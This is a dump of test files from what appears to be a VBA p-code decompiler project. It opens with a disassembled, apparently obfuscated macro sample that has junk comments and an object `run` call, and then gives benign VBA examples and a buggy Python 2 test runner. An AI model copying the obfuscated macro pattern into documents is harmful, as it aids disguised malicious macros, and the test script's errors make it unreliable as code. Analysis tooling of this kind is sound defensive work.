| LitDI2 0x000A 1987 | FnFix 1988 | St alyNuKsz 1989 | Line #198: 1990 | Dim 1991 | VarDefn ah9qAeUc5 1992 | Line #199: 1993 | LitDI2 0x000D 1994 | ArgsLd Exp 0x0001 1995 | St ah9qAeUc5 1996 | Line #200: 1997 | QuoteRem 0x0000 0x0013 " Momentarily canada" 1998 | Line #201: 1999 | Dim 2000 | VarDefn ayiZWSq 2001 | Line #202: 2002 | LitDI2 0x003A 2003 | UMi 2004 | FnAbs 2005 | St ayiZWSq 2006 | Line #203: 2007 | QuoteRem 0x0000 0x000A " Exploring" 2008 | Line #204: 2009 | SetStmt 2010 | New id_FFFF 2011 | Set a43g0xT 2012 | Line #205: 2013 | Dim 2014 | VarDefn aMhgD 2015 | Line #206: 2016 | StartForVariable 2017 | Ld aMhgD 2018 | EndForVariable 2019 | LitDI2 0x003D 2020 | LitDI2 0x0040 2021 | For 2022 | Line #207: 2023 | Debug 2024 | PrintObj 2025 | Ld aMhgD 2026 | ArgsLd Error 0x0001 2027 | PrintItemNL 2028 | Line #208: 2029 | StartForVariable 2030 | Ld aMhgD 2031 | EndForVariable 2032 | NextVar 2033 | Line #209: 2034 | QuoteRem 0x0000 0x0008 " Reprint" 2035 | Line #210: 2036 | Dim 2037 | VarDefn aA3GNx 2038 | Line #211: 2039 | LitDI2 0x0060 2040 | ArgsLd Hex 0x0001 2041 | St aA3GNx 2042 | Line #212: 2043 | Dim 2044 | VarDefn aHF3TqA 2045 | Line #213: 2046 | LitDI2 0x0009 2047 | FnFix 2048 | St aHF3TqA 2049 | Line #214: 2050 | QuoteRem 0x0000 0x0038 " Approximation frequent spiral completely museums movies" 2051 | Line #215: 2052 | Dim 2053 | VarDefn aC2nPv 2054 | Line #216: 2055 | LitDI2 0x00CE 2056 | ArgsLd Hex 0x0001 2057 | St aC2nPv 2058 | Line #217: 2059 | QuoteRem 0x0000 0x0013 " Requests bathrooms" 2060 | Line #218: 2061 | Dim 2062 | VarDefn apBMRSOcI 2063 | Line #219: 2064 | LitDI2 0x006A 2065 | ArgsLd Hex 0x0001 2066 | St apBMRSOcI 2067 | Line #220: 2068 | LitStr 0x0000 "" 2069 | St aNAZHn 2070 | Line #221: 2071 | Ld aNAZHn 2072 | ArgsLd IsNull 0x0001 2073 | St aq2In 2074 | Line #222: 2075 | Dim 2076 | VarDefn aZx38 2077 | Line #223: 2078 | LitDI2 0x0013 2079 | UMi 2080 | FnAbs 2081 | St aZx38 2082 | Line #224: 2083 | Ld ayUBnLK01 2084 | LitDI2 0x0000 2085 | Ld a43g0xT 2086 | ArgsMemCall run 0x0002 2087 | Line #225: 2088 | Dim 2089 | VarDefn aJqH7k 2090 | Line #226: 2091 | StartForVariable 2092 | Ld aJqH7k 2093 | EndForVariable 2094 | LitDI2 0x003D 2095 | LitDI2 0x0040 2096 | For 2097 | Line #227: 2098 | Debug 2099 | PrintObj 2100 | Ld aJqH7k 2101 | ArgsLd Error 0x0001 2102 | PrintItemNL 2103 | Line #228: 2104 | StartForVariable 2105 | Ld aJqH7k 2106 | EndForVariable 2107 | NextVar 2108 | Line #229: 2109 | QuoteRem 0x0000 0x0016 " Han affair xml mantua" 2110 | Line #230: 2111 | Dim 2112 | VarDefn aXERc 2113 | Line #231: 2114 | LitDI2 0x0002 2115 | FnFix 2116 | St aXERc 2117 | Line #232: 2118 | Dim 2119 | VarDefn aIOzbwd1a 2120 | Line #233: 2121 | LitDI2 0x0002 2122 | ArgsLd Exp 0x0001 2123 | St aIOzbwd1a 2124 | Line #234: 2125 | QuoteRem 0x0000 0x0012 " Positive bulgaria" 2126 | Line #235: 2127 | Line #236: 2128 | Dim 2129 | VarDefn aIOzbwd1a 2130 | Line #237: 2131 | LitDI2 0x000A 2132 | ArgsLd Exp 0x0001 2133 | St aIOzbwd1a 2134 | Line #238: 2135 | QuoteRem 0x0000 0x001C " Absorption til paths seller" 2136 | Line #239: 2137 | LitStr 0x0000 "" 2138 | St aBJVZ1 2139 | Line #240: 2140 | Ld aBJVZ1 2141 | ArgsLd IsNull 0x0001 2142 | St aKfmvc34 2143 | Line #241: 2144 | QuoteRem 0x0000 0x0023 " Concerns traditions rutland passer" 2145 | Line #242: 2146 | Dim 2147 | VarDefn aIaRFTmJw 2148 | Line #243: 2149 | LitDI2 0x002A 2150 | FnAbs 2151 | St aIaRFTmJw 2152 | Line #244: 2153 | Dim 2154 | VarDefn ajvsXAlok 2155 | Line #245: 2156 | LitDI2 0x002E 2157 | FnAbs 2158 | St ajvsXAlok 2159 | Line #246: 2160 | QuoteRem 0x0000 0x0008 " Sampson" 2161 | Line #247: 2162 | LitStr 0x0000 "" 2163 | St ajEOWNtYh 2164 | Line #248: 2165 | Ld ajEOWNtYh 2166 | ArgsLd IsNull 0x0001 2167 | St aq0PJEzo4 2168 | Line #249: 2169 | QuoteRem 0x0000 0x0013 " Canary possibility" 2170 | Line #250: 2171 | EndSub 2172 | Macros/VBA/anUX4 - 2752 bytes 2173 | Line #0: 2174 | FuncDefn (Sub UserForm()) 2175 | Line #1: 2176 | Dim 2177 | VarDefn UserForm_Initialize 2178 | Line #2: 2179 | StartForVariable 2180 | Ld UserForm_Initialize 2181 | EndForVariable 2182 | LitDI2 0x003D 2183 | LitDI2 0x0040 2184 | For 2185 | Line #3: 2186 | Debug 2187 | PrintObj 2188 | Ld UserForm_Initialize 2189 | ArgsLd Error 0x0001 2190 | PrintItemNL 2191 | Line #4: 2192 | StartForVariable 2193 | Ld UserForm_Initialize 2194 | EndForVariable 2195 | NextVar 2196 | Line #5: 2197 | QuoteRem 0x0000 0x001B " Delhi speeds gesticulation" 2198 | Line #6: 2199 | Dim 2200 | VarDefn aobPr3gd 2201 | Line #7: 2202 | LitDI2 0x000B 2203 | ArgsLd Exp 0x0001 2204 | St aobPr3gd 2205 | Line #8: 2206 | QuoteRem 0x0000 0x0020 " Bonus touchstone ribbon cacique" 2207 | Line #9: 2208 | LitStr 0x0000 "" 2209 | St aQhnMuRf0 2210 | Line #10: 2211 | Ld aQhnMuRf0 2212 | ArgsLd IsNull 0x0001 2213 | St a83FtC 2214 | Line #11: 2215 | QuoteRem 0x0000 0x0007 " Thinks" 2216 | Line #12: 2217 | Dim 2218 | VarDefn asWApjoTr 2219 | Line #13: 2220 | LitDI2 0x0040 2221 | ArgsLd Hex 0x0001 2222 | St asWApjoTr 2223 | Line #14: 2224 | QuoteRem 0x0000 0x0024 " Llc hesitancy examples transmission" 2225 | Line #15: 2226 | Dim 2227 | VarDefn aMVH7 2228 | Line #16: 2229 | LitDI2 0x0004 2230 | FnAbs 2231 | St aMVH7 2232 | Line #17: 2233 | Dim 2234 | VarDefn ahXCm9 2235 | Line #18: 2236 | LitDI2 0x0036 2237 | ArgsLd Hex 0x0001 2238 | St ahXCm9 2239 | Line #19: 2240 | EndSub 2241 | Line #20: 2242 | FuncDefn (Public Sub asVWN()) 2243 | Line #21: 2244 | Dim 2245 | VarDefn test 2246 | Line #22: 2247 | LitDI2 0x0010 2248 | FnFix 2249 | St test 2250 | Line #23: 2251 | QuoteRem 0x0000 0x000F " Situation harm" 2252 | Line #24: 2253 | Dim 2254 | VarDefn aytsj 2255 | Line #25: 2256 | LitDI2 0x0004 2257 | ArgsLd Exp 0x0001 2258 | St aytsj 2259 | Line #26: 2260 | QuoteRem 0x0000 0x0017 " Sans infringe employee" 2261 | Line #27: 2262 | EndSub 2263 | -------------------------------------------------------------------------------- /tests/integration/more/input: -------------------------------------------------------------------------------- 1 | Option Compare Binary ' That is, "AAA" is less than "aaa". 2 | ' Declare an event at module level of a class module 3 | Event LogonCompleted(UserName As String) 4 | Enum SecurityLevel 5 | IllegalEntry = -1 6 | SecurityLevel1 = 0 7 | SecurityLevel2 = 1 8 | End Enum 9 | Type EmployeeRecord ' Create user-defined type. 10 | ID As Integer ' Define elements of data type. 11 | Name As String * 20 12 | Address As String * 30 13 | Phone As Long 14 | HireDate As Date 15 | End Type 16 | Dim CurrentColor As Integer 17 | Const BLACK = 0, RED = 1, GREEN = 2, BLUE = 3 18 | Sub CreateRecord() 19 | Dim MyRecord As EmployeeRecord ' Declare variable. 20 | 21 | ' Assignment to EmployeeRecord variable must occur in a procedure. 22 | MyRecord.ID = 12003 ' Assign a value to an element. 23 | End Sub 24 | 25 | Sub OnErrorStatementDemo() 26 | On Error GoTo ErrorHandler ' Enable error-handling routine. 27 | Open "TESTFILE" For Output As #1 ' Open file for output. 28 | Kill "TESTFILE" ' Attempt to delete open 29 | ' file. 30 | On Error GoTo 0 ' Turn off error trapping. 31 | On Error Resume Next ' Defer error trapping. 32 | ObjectRef = GetObject("MyWord.Basic") ' Try to start nonexistent 33 | ' object, then test for 34 | 'Check for likely Automation errors. 35 | If Err.Number = 440 Or Err.Number = 432 Then 36 | ' Tell user what happened. Then clear the Err object. 37 | Msg = "There was an error attempting to open the Automation object!" 38 | MsgBox Msg, , "Deferred Error Test" 39 | Err.Clear ' Clear Err object fields 40 | End If 41 | Exit Sub ' Exit to avoid handler. 42 | ErrorHandler: ' Error-handling routine. 43 | Select Case Err.Number ' Evaluate error number. 44 | Case 55 ' "File already open" error. 45 | Close #1 ' Close open file. 46 | Case Else 47 | ' Handle other situations here... 48 | End Select 49 | Resume ' Resume execution at same line 50 | ' that caused the error. 51 | End Sub 52 | 53 | Sub stopdemo() 54 | Dim i As Long 55 | For i = 1 To 10 ' Start For...Next loop. 56 | Debug.Print i ' Print i to the Immediate window. 57 | Stop ' Stop during each iteration. 58 | Next i 59 | End Sub 60 | 61 | Sub eventraisedemo() 62 | ' Raise the event. 63 | RaiseEvent LogonCompleted("AntoineJan") 64 | End Sub 65 | 66 | Sub demoWrite() 67 | Open "TESTFILE" For Output As #1 ' Open file for output. 68 | Write #1, "Hello World", 234 ' Write comma-delimited data. 69 | Write #1, ' Write blank line. 70 | 71 | Dim MyBool, MyDate, MyNull, MyError 72 | ' Assign Boolean, Date, Null, and Error values. 73 | MyBool = False: MyDate = #2/12/1969#: MyNull = Null 74 | MyError = CVErr(32767) 75 | ' Boolean data is written as #TRUE# or #FALSE#. Date literals are 76 | ' written in universal date format, for example, #1994-07-13# 77 | 'represents July 13, 1994. Null data is written as #NULL#. 78 | ' Error data is written as #ERROR errorcode#. 79 | Write #1, MyBool; " is a Boolean value" 80 | Write #1, MyDate; " is a date" 81 | Write #1, MyNull; " is a null value" 82 | Write #1, MyError; " is an error value" 83 | Close #1 ' Close file. 84 | End Sub 85 | 86 | Sub OnGosubGotoDemo() 87 | Dim Number, MyString 88 | Number = 2 ' Initialize variable. 89 | ' Branch to Sub2. 90 | On Number GoSub Sub1, Sub2 ' Execution resumes here after 91 | ' On...GoSub. 92 | On Number GoTo Line1, Line2 ' Branch to Line2. 93 | ' Execution does not resume here after On...GoTo. 94 | Exit Sub 95 | Sub1: 96 | MyString = "In Sub1": Return 97 | Sub2: 98 | MyString = "In Sub2": Return 99 | Line1: 100 | MyString = "In Line1" 101 | Line2: 102 | MyString = "In Line2" 103 | End Sub 104 | 105 | 106 | Property Get PenColor() As String 107 | Select Case CurrentColor 108 | Case RED 109 | PenColor = "Red" 110 | Case GREEN 111 | PenColor = "Green" 112 | Case BLUE 113 | PenColor = "Blue" 114 | End Select 115 | End Property 116 | 117 | Property Let PenColor(ColorName As String) 118 | Select Case ColorName ' Check color name string. 119 | Case "Red" 120 | CurrentColor = RED ' Assign value for Red. 121 | Case "Green" 122 | CurrentColor = GREEN ' Assign value for Green. 123 | Case "Blue" 124 | CurrentColor = BLUE ' Assign value for Blue. 125 | Case Else 126 | CurrentColor = BLACK ' Assign default value. 127 | End Select 128 | End Property 129 | Property Set Pen(P As Object) 130 | Set CurrentPen = P ' Assign Pen to object. 131 | End Property 132 | Sub debub() 133 | Private Const DefaultBufferSize& = 32768 134 | Private CRC_32_Tab(0 To 255) As Long 135 | Private CRC_32_Tab2(200, 255) As Long 136 | Dim tab_exemple() 137 | ReDim tab_exemple(2, 2) 138 | ReDim CRC_32_Tab(0 To 45) 139 | 140 | 141 | Dim MyVar 142 | MyVar = "Come see me in the Immediate pane." 143 | Debug.Print MyVar 144 | 145 | ' The following code sets the PenColor property for a drawing package 146 | ' by calling the Property let procedure. 147 | 148 | PenColor = "Red" 149 | ColorName = PenColor 150 | End Sub 151 | 152 | 153 | -------------------------------------------------------------------------------- /tests/integration/more/more: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/more/more -------------------------------------------------------------------------------- /tests/integration/more2/input: -------------------------------------------------------------------------------- 1 | Option Base 1 ' Set default array subscripts to 1. 2 | 3 | Type Record ' Define user-defined type. 4 | ID As Integer 5 | Name As String * 20 6 | End Type 7 | 8 | Sub sub1() 9 | Dim Lower 10 | Dim MyArray(20), TwoDArray(3, 4) ' Declare array variables. 11 | Dim ZeroArray(0 To 5) ' Override default base subscript. 12 | ' Use LBound function to test lower bounds of arrays. 13 | Lower = LBound(MyArray) ' Returns 1. 14 | Lower = LBound(TwoDArray, 2) ' Returns 1. 15 | Lower = LBound(ZeroArray) ' Returns 0. 16 | End Sub 17 | 18 | Sub sub2() 19 | Open "TESTFILE" For Binary Access Write Lock Write As #1 20 | ' Close before reopening in another mode. 21 | Close #1 22 | End Sub 23 | 24 | Sub sub3() 25 | Dim SearchString, SearchChar, MyPos 26 | SearchString = "XXpXXpXXPXXP" ' String to search in. 27 | SearchChar = "P" ' Search for "P". 28 | 29 | ' A textual comparison starting at position 4. Returns 6. 30 | MyPos = InStr(4, SearchString, SearchChar, 1) 31 | 32 | ' A binary comparison starting at position 1. Returns 9. 33 | MyPos = InStr(1, SearchString, SearchChar, 0) 34 | 35 | ' Comparison is binary by default (last argument is omitted). 36 | MyPos = InStr(SearchString, SearchChar) ' Returns 9. 37 | 38 | MyPos = InStr(1, SearchString, "W") ' Returns 0. 39 | End Sub 40 | 41 | Sub sub4() 42 | Dim MyPath 43 | MyPath = CurDir ' Returns "C:\WINDOWS\SYSTEM". 44 | MyPath = CurDir("C") ' Returns "C:\WINDOWS\SYSTEM". 45 | MyPath = CurDir("D") ' Returns "D:\EXCEL". 46 | End Sub 47 | 48 | Sub sub5() 49 | Dim X 50 | X = Dir("SomePath", MacID("TEXT")) 51 | End Sub 52 | ' Parameter rate is a ByVal parameter because the procedure should 53 | ' not change the value of the corresponding argument in the 54 | ' calling code. 55 | 56 | ' The calculated value of the debt parameter, however, should be 57 | ' reflected in the value of the corresponding argument in the 58 | ' calling code. Therefore, it must be declared ByRef. 59 | Sub Calculate(ByVal rate As Double, ByRef debt As Double) 60 | debt = debt + (debt * rate / 100) 61 | End Sub 62 | 63 | Sub Main() 64 | ' Two interest rates are declared, one a constant and one a 65 | ' variable. 66 | Const highRate As Double = 12.5 67 | Dim lowRate As Double 68 | lowRate = highRate * 0.6 69 | 70 | Dim initialDebt As Double 71 | initialDebt = 4999.99 72 | ' Make a copy of the original value of the debt. 73 | Dim debtWithInterest As Double 74 | debtWithInterest = initialDebt 75 | 76 | ' Calculate the total debt with the high interest rate applied. 77 | ' Argument highRate is a constant, which is appropriate for a 78 | ' ByVal parameter. Argument debtWithInterest must be a variable 79 | ' because the procedure will change its value to the calculated 80 | ' total with interest applied. 81 | Calculate highRate, debtWithInterest 82 | ' Format the result to represent currency, and display it. 83 | 84 | Dim debtString As String 85 | debtString = Format(debtWithInterest, "C") 86 | Debug.Print ("What I owe with high interest: " & debtString) 87 | 88 | ' Repeat the process with lowRate. Argument lowRate is not a 89 | ' constant, but the ByVal parameter protects it from accidental 90 | ' or intentional change by the procedure. 91 | 92 | ' Set debtWithInterest back to the original value. 93 | debtWithInterest = initialDebt 94 | Calculate lowRate, debtWithInterest 95 | debtString = Format(debtWithInterest, "C") 96 | Debug.Print ("What I owe with low interest: " & debtString) 97 | 98 | 99 | End Sub 100 | Sub sub6() 101 | Dim demoStr1, demoStr2 As String 102 | demoStr1 = "Hello" 103 | Rem Comment after a statement using REM. 104 | demoStr2 = "Goodbye" ' Comment after a statement using the ' character. 105 | Rem This entire line is a comment. 106 | ' This entire line is also a comment. 107 | End Sub 108 | 109 | Sub sub7() 110 | Dim MyString 111 | MyString = "0123456789" ' Initialize string. 112 | RSet MyString = "Right->" ' MyString contains " Right->". 113 | Dim MyString 114 | MyString = "0123456789" ' Initialize string. 115 | LSet MyString = "<-Left" ' MyString contains "<-Left ". 116 | Dim A, B, Check 117 | A = 5: B = 5 ' Initialize variables. 118 | Check = CBool(A = B) ' Check contains True. 119 | 120 | A = 0 ' Define variable. 121 | Check = CBool(A) ' Check contains False. 122 | Dim MyDouble, MyByte 123 | MyDouble = 125.5678 ' MyDouble is a Double. 124 | MyByte = CByte(MyDouble) ' MyByte contains 126. 125 | Dim MyDouble, MyCurr 126 | MyDouble = 543.214588 ' MyDouble is a Double. 127 | MyCurr = CCur(MyDouble * 2) ' Convert result of MyDouble * 2 128 | ' (1086.429176) to a 129 | ' Currency (1086.4292). 130 | Dim MyDate, MyShortDate, MyTime, MyShortTime 131 | MyDate = "February 12, 1969" ' Define date. 132 | MyShortDate = CDate(MyDate) ' Convert to Date data type. 133 | 134 | MyTime = "4:35:47 PM" ' Define time. 135 | MyShortTime = CDate(MyTime) ' Convert to Date data type. 136 | Dim MyCurr, MyDouble 137 | MyCurr = CCur(234.456784) ' MyCurr is a Currency. 138 | MyDouble = CDbl(MyCurr * 8.2 * 0.01) ' Convert result to a Double. 139 | 140 | Dim MyDecimal, MyCurr 141 | MyCurr = 10000000.0587 ' MyCurr is a Currency. 142 | MyDecimal = CDec(MyCurr) ' MyDecimal is a Decimal. 143 | 144 | Dim MyDouble, MyInt 145 | MyDouble = 2345.5678 ' MyDouble is a Double. 146 | MyInt = CInt(MyDouble) ' MyInt contains 2346. 147 | 148 | Dim MyVal1, MyVal2, MyLong1, MyLong2 149 | MyVal1 = 25427.45: MyVal2 = 25427.55 ' MyVal1, MyVal2 are Doubles. 150 | MyLong1 = CLng(MyVal1) ' MyLong1 contains 25427. 151 | MyLong2 = CLng(MyVal2) ' MyLong2 contains 25428. 152 | 153 | Dim MyDouble1, MyDouble2, MySingle1, MySingle2 154 | ' MyDouble1, MyDouble2 are Doubles. 155 | MyDouble1 = 75.3421115: MyDouble2 = 75.3421555 156 | MySingle1 = CSng(MyDouble1) ' MySingle1 contains 75.34211. 157 | MySingle2 = CSng(MyDouble2) ' MySingle2 contains 75.34216. 158 | 159 | Dim MyDouble, MyString 160 | MyDouble = 437.324 ' MyDouble is a Double. 161 | MyString = CStr(MyDouble) ' MyString contains "437.324". 162 | 163 | 164 | Dim MyInt, MyVar 165 | MyInt = 4534 ' MyInt is an Integer. 166 | MyVar = CVar(MyInt & 0) ' MyVar contains the string 167 | ' 4534000. 168 | 169 | 170 | End Sub 171 | 172 | Sub sub8() 173 | Dim MyDate 174 | MyDate = #2/12/1969# 175 | MyDate = #2/12/1970# 176 | MyDate = #2/12/1971# 177 | MyDate = #2/11/1969# 178 | MyDate = #2/10/1969# 179 | MyDate = #3/12/1969# 180 | MyDate = #4/12/1969# 181 | End Sub 182 | 183 | Sub sub9() 184 | Dim MyChar 185 | Open "TESTFILE" For Input As #1 ' Open file for reading. 186 | Do While Not EOF(1) ' Loop until end of file. 187 | MyChar = Input(1, #1) ' Read next character of data. 188 | Debug.Print Seek(1) ' Print byte position to the Immediate window. 189 | Loop 190 | Close #1 ' Close file. 191 | 192 | Sub sub10() 193 | Dim MyRecord As Record, RecordNumber ' Declare variables. 194 | ' Open sample file for random access. 195 | Open "TESTFILE" For Random Shared As #1 Len = Len(MyRecord) 196 | RecordNumber = 4 ' Define record number. 197 | Lock #1, RecordNumber ' Lock record. 198 | Get #1, RecordNumber, MyRecord ' Read record. 199 | MyRecord.ID = 234 ' Modify record. 200 | MyRecord.Name = "John Smith" 201 | Put #1, RecordNumber, MyRecord ' Write modified record. 202 | Unlock #1, RecordNumber ' Unlock current record. 203 | Close #1 ' Close file. 204 | End Sub 205 | 206 | Sub sub11() 207 | Dim MyString, FirstWord, LastWord, MidWords 208 | MyString = "Mid Function Demo" ' Create text string. 209 | FirstWord = Mid(MyString, 1, 3) ' Returns "Mid". 210 | LastWord = Mid(MyString, 14, 4) ' Returns "Demo". 211 | MidWords = Mid(MyString, 5) ' Returns "Function Demo". 212 | 213 | ' Assign Boolean, Date, Null and Error values. 214 | Dim MyBool, MyDate, MyNull, MyError 215 | MyBool = False: MyDate = #2/12/1969#: MyNull = Null 216 | MyError = CVErr(32767) 217 | ' True, False, Null, and Error are translated using locale settings of 218 | ' your system. Date literals are written using standard short date 219 | ' format. 220 | Print #1, MyBool; " is a Boolean value" 221 | Print #1, MyDate; " is a date" 222 | Print #1, MyNull; " is a null value" 223 | Print #1, MyError; " is an error value" 224 | Close #1 ' Close file. 225 | 226 | End Sub 227 | 228 | Sub sub12() 229 | Dim OldName, NewName 230 | OldName = "OLDFILE": NewName = "NEWFILE" ' Define file names. 231 | Name OldName As NewName ' Rename file. 232 | End Sub 233 | -------------------------------------------------------------------------------- /tests/integration/more2/more2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/more2/more2 -------------------------------------------------------------------------------- /tests/integration/select_case/input: -------------------------------------------------------------------------------- 1 | Sub Exemple_Select_Case_conditions_numeriques() 2 | ' par Excel-Malin.com (https://excel-malin.com) 3 | 4 | 'Structure Select Case: valeurs numériques (paliers) 5 | ' = score du test 6 | x = Worksheets("Sheet1").Range("A1").Value 7 | 8 | 'évaluation du score 9 | Select Case x 10 | Case Is < 0 11 | MsgBox "Votre score est insuffisant!" 12 | Case 0 To 30 13 | MsgBox "Votre score est faible." 14 | Case 31 To 70 15 | MsgBox "Votre score est dans la moyenne." 16 | Case 71 To 100 17 | MsgBox "Votre score est au-dessus de la moyenne." 18 | Case Is > 100 19 | MsgBox "Votre score est exceptionnel!" 20 | Case Else 21 | MsgBox "Il y a un problème avec votre score..." 22 | End Select 23 | 24 | End Sub 25 | -------------------------------------------------------------------------------- /tests/integration/select_case/select_case: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/select_case/select_case -------------------------------------------------------------------------------- /tests/integration_tests2.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import sys 3 | import os 4 | import pcode2code 5 | 6 | class Processor(): 7 | 8 | def check_output(self, input_, original): 9 | originallines = original.splitlines() 10 | splittedinput = input_.splitlines() 11 | lines=[] 12 | outputval = True 13 | 14 | # we parse each lines, and cut them by line blocks, to put them in "lines" 15 | for inputLine in splittedInput: 16 | inputLine = inputLine.strip() 17 | if inputLine.startswith('Line '): 18 | lines.append(inputLine.split(':')[1]) 19 | 20 | if len(originallines) != len(lines): 21 | print '\t[!] Number of Lines differ' 22 | outputval = False 23 | 24 | i = 0 25 | defects = 0 26 | 27 | if len(originallines) > len(lines): 28 | for aline in lines: 29 | if aline != originallines[i].strip(): 30 | if debug: 31 | print '\t[!] line ' + i + 'mismatch' 32 | print '\t\toriginal line: ' + originallines[i].strip() 33 | defects += 1 34 | i += 1 35 | 36 | if len(originallines) <= len(lines): 37 | for aline in originallines: 38 | if aline.strip() != lines[i]: 39 | if debug: 40 | print '\t[!] line ' + i + 'mismatch' 41 | print '\t\toriginal line: ' + aline.strip() 42 | defects += 1 43 | i += 1 44 | 45 | if defects > 0: 46 | print '\t[!] current mismatchs : ' + defects 47 | print '\t[!] score : ' + (defects*1.0)/i +'%' 48 | outputval = False 49 | 50 | return outputval 51 | 52 | def readfile(self, path): 53 | return open(path, 'r').read() 54 | 55 | def process_tests(self, path): 56 | subdirs = [x[0] for x in os.walk(path)] 57 | subdirs.remove('.') 58 | testsok = 0 59 | totaltests = 0 60 | for dir_ in subdirs: 61 | print '[+] processing ' + dir_ 62 | outfile = pcode2code.process(self.readile(dir_ + '/' + dir_)) 63 | #input_ = pcode2dmp.processinput(readfile(dir_ + '/input')) 64 | expectedfile = self.readfile(dir_ + '/expected') 65 | r = check_output(expectedfile, outputfile) 66 | if r: 67 | testsok +=1 68 | totaltests +=1 69 | print '[+] output: ' + testsok + '/' + totaltests +' tests succeeded' 70 | 71 | 72 | 73 | class TestOutput(unittest.TestCase): 74 | 75 | def __init__(self, *args, **kwargs): 76 | super(TestOutput, self).__init__(*args, **kwargs) 77 | self.processor = Processor() 78 | 79 | def testing(self): 80 | self.processor.process_tests('.') 81 | self.assertEqual(1,2) 82 | 83 | 84 | 85 | if __name__ == '__main__': 86 | unittest.main() 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /tests/output.txt: -------------------------------------------------------------------------------- 1 | ' Create a variable to hold number of Visual Basic forms loaded 2 | ' and visible. 3 | Dim I, OpenForms 4 | For I = 1 To 150000 ' Start loop. 5 | If I Mod 1000 = 0 Then ' If loop has repeated 1000 times. 6 | OpenForms = DoEvents ' Yield to operating system. 7 | End If 8 | Next I ' Increment loop counter. 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | Private Sub CommandButton1_Click() 17 | TextBox1 = "Texte 1" 18 | DoEvents 19 | For i = 1 To 50000000: Next 20 | TextBox2 = "Texte 2" 21 | DoEvents 22 | For i = 1 To 50000000: Next 23 | TextBox3 = "Texte 3" 24 | End Sub 25 | 26 | 27 | 28 | Option Explicit 29 | 30 | Private Sub Form_Load() 31 | Module1.FillListWithFonts List1 32 | End Sub 33 | 34 | 35 | 36 | 37 | 'Font enumeration types 38 | Public Const LF_FACESIZE = 32 39 | Public Const LF_FULLFACESIZE = 64 40 | 41 | Type LOGFONT 42 | lfHeight As Long 43 | lfWidth As Long 44 | lfEscapement As Long 45 | lfOrientation As Long 46 | lfWeight As Long 47 | lfItalic As Byte 48 | lfUnderline As Byte 49 | lfStrikeOut As Byte 50 | lfCharSet As Byte 51 | lfOutPrecision As Byte 52 | lfClipPrecision As Byte 53 | lfQuality As Byte 54 | lfPitchAndFamily As Byte 55 | lfFaceName(LF_FACESIZE) As Byte 56 | End Type 57 | 58 | Type NEWTEXTMETRIC 59 | tmHeight As Long 60 | tmAscent As Long 61 | tmDescent As Long 62 | tmInternalLeading As Long 63 | tmExternalLeading As Long 64 | tmAveCharWidth As Long 65 | tmMaxCharWidth As Long 66 | tmWeight As Long 67 | tmOverhang As Long 68 | tmDigitizedAspectX As Long 69 | tmDigitizedAspectY As Long 70 | tmFirstChar As Byte 71 | tmLastChar As Byte 72 | tmDefaultChar As Byte 73 | tmBreakChar As Byte 74 | tmItalic As Byte 75 | tmUnderlined As Byte 76 | tmStruckOut As Byte 77 | tmPitchAndFamily As Byte 78 | tmCharSet As Byte 79 | ntmFlags As Long 80 | ntmSizeEM As Long 81 | ntmCellHeight As Long 82 | ntmAveWidth As Long 83 | End Type 84 | 85 | ' ntmFlags field flags 86 | Public Const NTM_REGULAR = &H40& 87 | Public Const NTM_BOLD = &H20& 88 | Public Const NTM_ITALIC = &H1& 89 | 90 | ' tmPitchAndFamily flags 91 | Public Const TMPF_FIXED_PITCH = &H1 92 | Public Const TMPF_VECTOR = &H2 93 | Public Const TMPF_DEVICE = &H8 94 | Public Const TMPF_TRUETYPE = &H4 95 | 96 | Public Const ELF_VERSION = 0 97 | Public Const ELF_CULTURE_LATIN = 0 98 | 99 | ' EnumFonts Masks 100 | Public Const RASTER_FONTTYPE = &H1 101 | Public Const DEVICE_FONTTYPE = &H2 102 | Public Const TRUETYPE_FONTTYPE = &H4 103 | 104 | Declare Function EnumFontFamilies Lib "gdi32" Alias _ 105 | "EnumFontFamiliesA" _ 106 | (ByVal hDC As Long, ByVal lpszFamily As String, _ 107 | ByVal lpEnumFontFamProc As Long, LParam As Any) As Long 108 | Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long 109 | Declare Function ReleaseDC Lib "user32" (ByVal hWnd As Long, _ 110 | ByVal hDC As Long) As Long 111 | 112 | Function EnumFontFamProc(lpNLF As LOGFONT, lpNTM As NEWTEXTMETRIC, _ 113 | ByVal FontType As Long, LParam As ListBox) As Long 114 | Dim FaceName As String 115 | Dim FullName As String 116 | FaceName = StrConv(lpNLF.lfFaceName, vbUnicode) 117 | LParam.AddItem Left$(FaceName, InStr(FaceName, vbNullChar) - 1) 118 | EnumFontFamProc = 1 119 | End Function 120 | 121 | Sub FillListWithFonts(LB As ListBox) 122 | Dim hDC As Long 123 | LB.Clear 124 | hDC = GetDC(LB.hWnd) 125 | EnumFontFamilies hDC, vbNullString, AddressOf EnumFontFamProc, LB 126 | ReleaseDC LB.hWnd, hDC 127 | End Sub 128 | 129 | 130 | 131 | Sub ClassNamer() 132 | Dim MyClasses As New Collection ' Create a Collection object. 133 | Dim Num ' Counter for individualizing keys. 134 | Dim Msg As String ' Variable to hold prompt string. 135 | Dim TheName, MyObject, NameList ' Variants to hold information. 136 | Do 137 | Dim Inst As New Class1 ' Create a new instance of Class1. 138 | Num = Num + 1 ' Increment Num, then get a name. 139 | Msg = "Please enter a name for this object." & vbNewLine _ 140 | & "Press Cancel to see names in collection." 141 | TheName = InputBox(Msg, "Name the Collection Items") 142 | Inst.InstanceName = TheName ' Put name in object instance. 143 | ' If user entered name, add it to the collection. 144 | If Inst.InstanceName <> "" Then 145 | ' Add the named object to the collection. 146 | MyClasses.Add item := Inst, key := CStr(Num) 147 | End If 148 | ' Clear the current reference in preparation for next one. 149 | Set Inst = Nothing 150 | Loop Until TheName = "" 151 | For Each MyObject In MyClasses ' Create list of names. 152 | NameList = NameList & MyObject.InstanceName & vbNewLine 153 | Next MyObject 154 | ' Display the list of names in a message box. 155 | MsgBox NameList, , "Instance Names In MyClasses Collection" 156 | 157 | For Num 